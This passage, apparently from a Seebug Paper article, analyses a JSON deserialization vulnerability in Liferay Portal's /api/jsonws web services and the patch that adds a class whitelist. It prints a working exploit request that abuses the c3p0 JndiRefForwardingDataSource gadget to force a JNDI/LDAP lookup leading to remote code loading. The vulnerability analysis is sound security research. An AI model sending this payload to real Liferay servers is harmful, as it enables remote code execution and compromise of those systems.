jsonObject) {jsonContext.write(jsonObject.toString());}}private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {private JSONArrayTypeJSONSerializer() {}public void serialize(JsonContext jsonContext, JSONArray jsonArray) {jsonContext.write(jsonArray.toString());}}}It can be seen that some functions of the JODD JsonSerializer are set during serialization.
JSONDeserializerImpl
Liferay's wrapper for JODD JsonParser is the
com.liferay.portal.json.JSONDeserializerImpl
class:123456789101112131415161718192021222324252627282930public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {private final JsonParser _jsonDeserializer;//JsonParser, the deserialization was finally handed over to JsonParser by JODD for processing. JSONDeserializerImpl wraps some additional settingspublic JSONDeserializerImpl() {if (JavaDetector.isIBM()) {//Judging the JDKSystemUtil.disableUnsafeUsage();//Related to the use of the Unsafe class}this._jsonDeserializer = new PortalJsonParser();}public T deserialize(String input) {return this._jsonDeserializer.parse(input);//Call JDD Parson of JODD for deserialization}public T deserialize(String input, Class<T> targetType) {return this._jsonDeserializer.parse(input, targetType);//Call JDD Parson of JODD for deserialization, you can specify the root type (rootType)}public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//Converter used when deserializingValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);this._jsonDeserializer.use(field, valueConverter);return this;}public JSONDeserializer<T> use(String path, Class<?> clazz) {this._jsonDeserializer.map(path, clazz);//Specify a specific type for a field, for example, filed is a type of interface or object in a class, and specific when deserializingreturn this;}}It can be seen that some functions of the JODD JsonParser are also set when deserializing.
Liferay Vulnerability Analysis
Liferay provides hundreds of webservices that can be called in the
/api/jsonws
API. The servlet responsible for processing the API is also directly configured in web.xml:look at this methods:
Seeing this, something occur.We can pass parameters for method calls. There are p_auth for verification, but deserialization is before verification, so that value does not works for exploit. According to the analysis of CODE WHITE, there are method parameters with parameter type Object, so guess that we can pass in any type of class. We can first debug the normal packet capture call to debug, and here does not write the normal call debugging process, simply look at the post parameters:
1cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=trueIn general, Liferay first finds the method corresponding to
/announcementsdelivery/update-delivery
-> other post parameters are method parameters-> when each parameter object type is consistent with the target method parameter type-> Restore the parameter object-> call this method with reflection. However, there is no type specification for packet capture, because most types are String, long, int, List, map and others,JODD will automatically handle it when deserializing. In this section,how to specify a specific type?The author mentioned in the article that Liferay Portal 7 can only specified rootType for invocation. This is also the case from the above
Liferay's JODD JSONDeserializerImpl packaging
. If you want to restore a specific object when a method parameter is of type Object,maybe it will parse the data, obtain the specified type, and then call the parse (path, class) method of JODD using specific type to restore it ;maybe Liferay not do. However, it can be seen from the author's analysis that Liferay did. The author looked up the call graph ofjodd.json.Parser#rootType
(envy such a tool):looking up this, the author found a place where a root type could be specified. In
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
call thecom.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType )
, looseDeserialize calls JSONSerializerImpl, and JSONSerializerImpl callsJODD's JsonParse.parse
.And the call on
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
is the process of Liferay parsing the Web Service parameters. Its upper levelJSONWebServiceActionImpl#_prepareParameters(Class <?>)
, The JSONWebServiceActionImpl class has a_jsonWebServiceActionParameters
attribute:This property also holds a
JSONWebServiceActionParametersMap
. In its method, when the parameter starts with+
, its put method splits the passed parameters with:
, before:
is parameter name,after:
is type name:The put parsing operation is completed in
com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction # _executeStatement
:Through the above analysis and author's article, we can know the following points:
- Liferay allows us to call web service methods via
/api/jsonws/xxx
- The parameter can start with
+
, use:
to specify the parameter type - JODD JsonParse will call the class's default constructor and the setter method corresponding to the field
So we need to find the class that has malicious operations in the setter method or the default constructor. Look at the exploitation chain that marshalsec has provided,we can directly find the inherited exploitation chain. Most of them are also suitable for this vulnerability,it also depends on whether it exists in Liferay. Here are the test
com.mchange.v2.c3p0.JndiRefForwardingDataSource
, use the service/expandocolumn/add-column
, because it hasjava.lang.Object
parameter:Payload is as follows:
1cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}Parsed the parameter type, deserialized the parameter object, and finally reached the jndi query:
Patch Analysis
Liferay patch adds type checking, in
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl # _checkTypeIsAssignable
:12345678910111213141516171819202122232425262728293031private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {String parameterTypeName = parameterType.getName();if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法throw new IllegalArgumentException("Not instantiating " + parameterTypeName);} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验,白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();if (serviceReferences != null) {String key = "jsonws.web.service.parameter.type.whitelist.class.names";ServiceReference[] var7 = serviceReferences;int var8 = serviceReferences.length;for(int var9 = 0; var9 < var8; ++var9) {ServiceReference<Object> serviceReference = var7[var9];List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));if (whitelistedClassNames.contains(parameterTypeName)) {return;}}}throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");}}}}}_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES
contains all whitelist classes inportal.properties
. Basically, all whitelist classes start withcom.liferay
.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1163/
- Liferay allows us to call web service methods via